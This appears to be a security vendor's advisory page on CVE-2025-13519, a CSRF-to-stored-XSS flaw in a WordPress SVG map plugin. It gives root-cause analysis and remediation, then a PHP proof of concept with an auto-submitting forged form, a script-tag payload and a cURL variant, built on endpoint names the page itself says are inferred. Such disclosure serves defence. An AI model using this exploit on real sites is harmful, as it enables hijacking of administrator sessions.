Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-13519: SVG Map Plugin <= 1.0.0 – Cross-Site Request Forgery to Settings Update and Stored Cross-Site Scripting (svg-map-by-saedi)

Severity Medium (CVSS 6.1)
CWE 352
Vulnerable Version 1.0.0
Patched Version
Disclosed January 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13519 (metadata-based):

This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the SVG Map Plugin for WordPress versions up to and including 1.0.0. The vulnerability affects multiple AJAX action handlers, allowing unauthenticated attackers to manipulate plugin data and inject malicious scripts by tricking an administrator into clicking a malicious link. The CVSS 3.1 score of 6.1 (Medium) reflects the attack’s network accessibility, low complexity, and requirement for user interaction, with scope changes to the application’s confidentiality and integrity.

The root cause is missing or incorrect nonce validation on the plugin’s AJAX endpoints. WordPress AJAX handlers require a security nonce (number used once) to verify that requests originate from authenticated users performing intended actions. The plugin’s ‘save_data’, ‘delete_data’, and ‘add_popup’ AJAX actions lack this verification. Atomic Edge research infers these endpoints likely use the `wp_ajax_` hook prefix without calling `check_ajax_referer()` or `wp_verify_nonce()`. This conclusion is based on the CWE-352 classification and the description of missing nonce validation. Without source code, this remains an inference from standard WordPress security patterns.

Exploitation requires an attacker to craft a malicious web page or email containing forged HTTP requests. When a logged-in WordPress administrator visits this page, their browser automatically sends authenticated requests to the vulnerable endpoints. The primary attack vector is a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `svg_map_save_data`, `svg_map_delete_data`, or `svg_map_add_popup`. The attacker can include arbitrary JavaScript in request parameters, which the plugin stores without proper sanitization, leading to stored Cross-Site Scripting (XSS). A successful attack chain involves CSRF to inject malicious scripts, followed by XSS payload execution in administrators’ browsers.

Remediation requires adding proper nonce validation to all AJAX handlers. The plugin should implement `check_ajax_referer()` or `wp_verify_nonce()` for each vulnerable action. WordPress nonces are unique per user, session, and action, preventing request forgery. Additionally, output escaping and input sanitization functions like `wp_kses_post()` should be applied to all user-controlled data before storage. The fix must also include capability checks (`current_user_can()`) to ensure only authorized users can perform administrative actions. These measures follow WordPress coding standards for secure plugin development.

Successful exploitation allows attackers to modify the plugin’s map settings, delete stored map data, and inject persistent malicious scripts. The stored XSS component enables session hijacking, administrative account takeover, or redirection to malicious sites. Attackers could deface websites, steal sensitive information, or establish backdoors for further compromise. The impact is limited to the plugin’s functionality and the WordPress installation’s integrity, not direct server access. However, compromised administrator accounts can lead to full site control through subsequent plugin installation or theme editing.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13519 - SVG Map Plugin <= 1.0.0 - Cross-Site Request Forgery to Settings Update and Stored Cross-Site Scripting

<?php
/**
 * Proof of Concept for CVE-2025-13519
 * This script demonstrates CSRF against the SVG Map Plugin's vulnerable AJAX endpoints.
 * Assumptions based on WordPress plugin conventions:
 * 1. AJAX actions are registered with prefixes like 'wp_ajax_svg_map_*'
 * 2. The action parameter values are 'svg_map_save_data', 'svg_map_delete_data', 'svg_map_add_popup'
 * 3. Endpoint is /wp-admin/admin-ajax.php
 * 4. No nonce validation exists (the vulnerability)
 *
 * Usage: Set $target_url to the vulnerable WordPress site, then load this script in a browser.
 * The script will attempt to inject a basic XSS payload via the 'save_data' action.
 * Requires an authenticated administrator session in the same browser.
 */

$target_url = 'https://vulnerable-wordpress-site.com'; // CHANGE THIS

// Construct the AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Malicious payload to inject via stored XSS
$xss_payload = '<script>alert("Atomic Edge CVE-2025-13519 PoC");</script>';

// Simulate a CSRF attack form targeting the 'save_data' action
// Other actions: 'svg_map_delete_data', 'svg_map_add_popup' follow same pattern
echo '<html><body>';
echo '<h2>Atomic Edge CVE-2025-13519 PoC - SVG Map Plugin CSRF to XSS</h2>';
echo '<p>If you are logged in as an administrator on ' . htmlspecialchars($target_url) . ', clicking submit will inject an XSS payload.</p>';
echo '<form id="csrf_form" action="' . htmlspecialchars($ajax_url) . '" method="POST">';
echo '<input type="hidden" name="action" value="svg_map_save_data">';
echo '<input type="hidden" name="map_data" value="' . htmlspecialchars($xss_payload) . '">';
echo '<input type="submit" value="Submit Malicious Request">';
echo '</form>';
echo '<script>document.getElementById("csrf_form").submit();</script>';
echo '</body></html>';

// Alternative direct cURL exploitation (for testing without browser interaction)
/*
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'action' => 'svg_map_save_data',
    'map_data' => $xss_payload
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
echo "Response: " . htmlspecialchars($response);
*/

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School